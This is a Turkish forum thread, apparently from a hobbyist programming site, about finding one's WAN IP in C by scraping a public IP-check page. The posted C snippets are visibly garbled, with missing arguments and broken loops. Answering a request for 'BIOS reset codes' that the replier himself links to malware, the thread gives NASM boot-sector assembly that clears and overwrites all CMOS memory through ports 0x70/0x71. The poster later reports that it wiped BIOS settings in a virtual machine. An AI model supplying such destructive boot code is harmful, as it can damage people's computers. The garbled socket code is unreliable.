ncelikle şunu belirteyim, wan ip senin değil modemin ip si. yani senin yerel ip adresin 192.168.1.2 ise modem de muhtemelen 192.168.1.1 ise bu durumda sen kendi ip adresin olarak herzaman 192.168.1.2 yi grürsün. Modemin dışa açılan ip si olan wan ip adresini ise ya modemden ya da bağlandığın sunucu bilgisayardan ğrenirsin. Yani C de soket programlama ile yapacak pek birşey yok gibi. Modemden kodla ip sini ğrenmen biraz zor, yani ğrenebilirmisin onu da bilmiyorum, ama senin ip adresini gsteren bir sunucudan ğrenebilirsin. Ben bu aşırı ktü yntemle bir program yazdım ama kesinlikle güvenilir değil, yani uzun süre işini greceğini sanmam, tamamen tanımadığın adamların sunucusuna bağlı bir yntem, ama sen kendi beleş hostun ile de ip ni ğrenebilirsin tabi. ////////////////////////////////////////////////////// #include <stdio. h> #include <windows. h> SOCKET skt; WSADATA wsdata; char IP ="checkip. dyndns. org"; char tmp = ; char ipadres; unsigned int port=80; struct hostent sunucu_adi; struct sockaddr_in bilgiler; int main { WSAStartup(MAKEWORD(2,0),&wsdata); sunucu_adi = gethostbyname ; bilgiler. sin_family = AF_INET; bilgiler. sin_port = htons ; bilgiler. sin_addr = sunucu_adi->h_addr); memset(& , 0,0) ; // if((skt=socket(AF_INET, SOCK_STREAM,0)) -1) // for(;connect(skt, &bilgiler, sizeof -1;) // if(send(skt,"\n", strlen ,0) -1) perror ; if(recv(skt, tmp, sizeof ,0)<=0) perror ; {int i;ipadres=strstr +strlen ;for(i=0;;i++) if }printf ;getchar ;WSACleanup ; // dosyaları kapa return 0;} ////////////////////////////////////////////////////// Bu kodu asdf. c diye kaydet. Derlemek için, dev c++ da sadece "araçlar/derleyici ayarları/derleyiciyi çağırırken komut satırına şunları ekle/" blümüne -lwsock32 yaz. Visual c++ da nce kodu derle, hata verir ama sonuçta bir proje oluşturur. sonra project/settings/link/object library modules/ blümünde bir boşluk bırak ve şunu yaz. wsock32. lib bundan sonra çalışması lazım..

anladım peki whatismyip.com dan alsak?

ilgin için saol kardeşim şimdilik işimi grecektir sanıyorum sorun çıkarsa daha iyi bi yntem ararım artık eyvallah.

: anladım peki whatismyip.com dan alsak? Ben web server lardan pek anlamam, yani http server firefox da ip adresini gsteriyorsa, o adresi sende alabilirsin bu bir gerçek. Ancak webci arkadaşlar daha iyi bilir belki de web servere basit bir komut vererek, google.com dan bile kendi ip mizi talep edebiliriz. Dediğim gibi bu işin web server blümü. Benim bildiğim tek şey, http server larının GET komutunu gnderdiğimizde sayfanın html kodlarını gnderdiği. Bunu da eskiden biryede okumuştur. Şimdi, cmd yi aç. telnet www.google.com 80 yaz. daha sonra GET yaz enterle google sana html kodlarını gndermesi laızm. Yada GET /HTTP/1.1, şimdi bu gerçekten yola çıkarak yazdım programı, checkip. dyndns. org adresine girersen kendi ip ni yazıyor, telnetten bağlanıp herhangi bişey yazıp entere basarsan da tüm html kodlarını yolluyor. Bende bu html kodları arasında kendi ip adresimi ayırıyorum ve ekrana yazıyorum. Grdüğün gibi çok ktü bir yntem olmakla birlikte web serverlar konusundaki sığ bilgim dolayısıyla yapabildiğim bu :)

: ilgin için saol kardeşim şimdilik işimi grecektir sanıyorum sorun çıkarsa daha iyi bi yntem ararım artık eyvallah. Sende sağol, umarım sorun çıkmaz, kolay gelsin.

güzel çalışma tugberk varsa yada biliyorsan bios resetleme kodlarınıda pm ile sıpıtırmısın :)

: çok sağol verdiğin kod c++ builder da hatasız çalıştı aradığım bu ama neden sürekli işimi grmüyor onuda açıklarmısın Dikkat ettiysen checkip. dyndns. org adresinden ğreniyoruz ip yi. dyndns basit bir sunucu değildir ama sayfayı kaldıracağı tutarsa program da bir işe yaramaz :). Daha güvenli bir yolla yapılabilir belki ama aklıma birşey gelmiyor. Edit: somee.com gibi biryerden kendi beleş hostunu alırsan daha güvenli olur.

socket programlamada hiç bilgim yok c yada c++ da kendi wan ipimi nasıl bulabilirim bayağı araştırdım bulamadım.

çok sağol verdiğin kod c++ builder da hatasız çalıştı aradığım bu ama neden sürekli işimi grmüyor onuda açıklarmısın

: güzel çalışma tugberk varsa yada biliyorsan bios resetleme kodlarınıda pm ile sıpıtırmısın :) ncelikle amacın zararlı yazılım üretmekse syleyim bu işi korumalı modda yapamazsın. aslında yapabilirsin ancak windows ddk ile kernel mod programlama yapman lazım. Türkiye de ddk ile programlama yapan pek kimse yok. Eğer boot program yapmak istiyorsan, 70h ve 71h portları ile cmos u temizleyebilirisin. ncelikle parolayı kaldırmak için ; mov al,0x2eout 0x70, almov al,0xffout 0x71, al;daha sonra sıfırlama işlemi için, mov dl,0tekrar:cmp dl,255jmp sonmov al, dlout 0x70, alout 0x71, alinc dljmp tekrarson:mov al,255out 0x70, alout 0x71, altimes 510- db 0 ; nasm için sadece. dw 0xAA55 ; Derlemek için fasm yada nasm ı kullanabilirsin. mesela asd. asm olarak kaydet. nasm asd. asm olarak derle. daha sonra nero ile başlangıç Cd si oluştur ve virtual pc de yada kendi pc nde dene. Bu arada sadece hangi portların kullanıldığını bir virüs aracılığı ile biliyordum ve bu kodları şimdi yazdım, yani denemedim eğer sorun olursa yazabilirisin yine. Bu arada tahribat.com da da ip mizi gsteriyormuş yeni farkettim. Tahribat varken başka site kullanıyoruz :) deminki programı tahribat için yeniden yazdım. Bu program tahribatın anasayfasının tüm html kodlarını indiriyor ve IP: satırını bulduğu anda orda yazan ip yi kullanıcıya gsteriyor. Ancak diğerinden biraz daha yavaş olduğunu farkettim istediğini kullan. //////////////////////////////////////////////////////////// #include <stdio. h>#include <windows. h> SOCKET skt; WSADATA wsdata; char IP ="www.tahribat.com"; char tmp ="GET /index. asp HTTP/1.1\r\n host: www.tahribat.com\r\n\r\n"; char ipadres; unsigned int port=80; struct hostent sunucu_adi; struct sockaddr_in bilgiler; int main { WSAStartup(MAKEWORD(2,0),&wsdata); sunucu_adi = gethostbyname ; bilgiler. sin_family = AF_INET; bilgiler. sin_port = htons ; bilgiler. sin_addr = sunucu_adi->h_addr); memset(& , 0,0) ; // if((skt=socket(AF_INET, SOCK_STREAM,0)) -1) // for(;connect(skt, &bilgiler, sizeof -1;) // if(send(skt, tmp, strlen ,0) -1) perror ; for { int i; if(recv(skt, tmp, sizeof ,0)<=0) ipadres=strstr ; if { ipadres=ipadres + strlen ; for(i=0;;i++) if printf ; break; } for(i=0;i}getchar ;WSACleanup ; // dosyaları kapa return 0;} ///////////////////////////////////////////////////////////

Arkadaşlar yukardaki asm kodunu az nce M$ virtual pc de denedim, bios u sıfırlar derken tamamen uçurdu, kesinlikle kimse gerçek bilgisayarında denemesin, sorumluluk deneyene aittir. Zaten normalde çalışmaz, boot cd yapıp reset atmanız lazım. Herneyse uyarmış olayım. Edit: Sıfırlamış, sistem saati ve boot aygıtını değiştirerek denedim, sıfırlıyor.